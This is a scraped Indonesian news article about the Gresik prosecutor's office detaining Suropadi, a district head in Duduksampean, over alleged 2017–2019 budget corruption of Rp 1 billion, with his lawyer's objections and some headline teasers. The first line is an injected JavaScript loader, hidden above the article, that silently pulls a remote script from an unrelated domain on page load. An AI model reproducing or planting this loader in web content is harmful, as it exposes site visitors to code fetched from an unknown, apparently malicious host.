(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, GRESIK – Kejaksaan Negeri (Kejari) Gresik kembali menangkap pejabat publik setempat. Kali ini Camat Duduksampean Suropadi atas dugaan korupsi dana anggaran tahun 2017 – 2019. Kasus tersebut merugikan negara sebesar Rp 1 Miliar.
Dari pantaun di lapangan, Suropadi yang sebelumnya datang ke Kejari Gresik menggenakan baju dinas. Kemudian keluar setelah 3 jam diperiksa menggenakan rompi tahanan dan kedua tangannya diborgol.
Saat keluar ruangan menuju mobil tahanan, Suropadi hanya terdiam. Semua pertanyaan awak media tidak ada yang dijawab. Ia langsung masuk mobil tahanan yang akan membawanya ke Rutan Banjarsari, Kecamatan Cerme.
Kasi Intel Kejari Gresik, Dimaz Atmadi Brata Anandiansyah mengatakan yang bersangkutan ditetapkan sebagai tersangka karena diduga telah melanggar hukum. Suropadi dianggap merugikan negara sebesar Rp 1 Miliar.
“Hasil audit anggaran tahun 2017 – 2019. Tersangka dikenakan pasal 2 dan pasal 1 UU Tipikor,” kata Dimaz, Senin (15/2/2021).
Disebutkan, sebelumnya tersangka telah dipanggil oleh kejaksaan. Namun beberapa kali yang bersangkutan mengaku berhalangan hadir. Karena itu, lembaganya menaikan statusnya dari saksi menjadi tersangka atas beberapa bukti yang ditemukan di lapangan.
“Pekan lalu sebenarnya tersangka dipanggil untuk diperiksa tapi tidak hadir. Sehingga kami undang lagi, kemudian statusnya kami naikan menjadi tersangka,” ujarnya.
Sementara itu, kuasa hukum Suropadi, Fajar Trilaksana, mengatakan kliennya sangat kooperatif kepada penyidik. Hal itu dibuktikan dengan ada iktikad baik datang ke kajaksaan. Meski pada panggilan sebelumnya sempat menunda kehadiran.
Lebih lanjut, Fajar meminta untuk tetap berpegang pada azas praduga tak bersalah. Pihaknya akan mengupas seluruh materi di persidangan. Apalagi, saat diperiksa tadi, kliennya belum diperiksa sama sekali mengenai pokok materi dengan kapasitas sebagai tersangka.
“Hanya enam pertanyaan menyangkut data aset milik pribadi, tiba-tiba sudah keluar perintah penahanan. Ini sangat kurang lazim dilakukan,” katanya di hadapan awak media.(Suara)
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.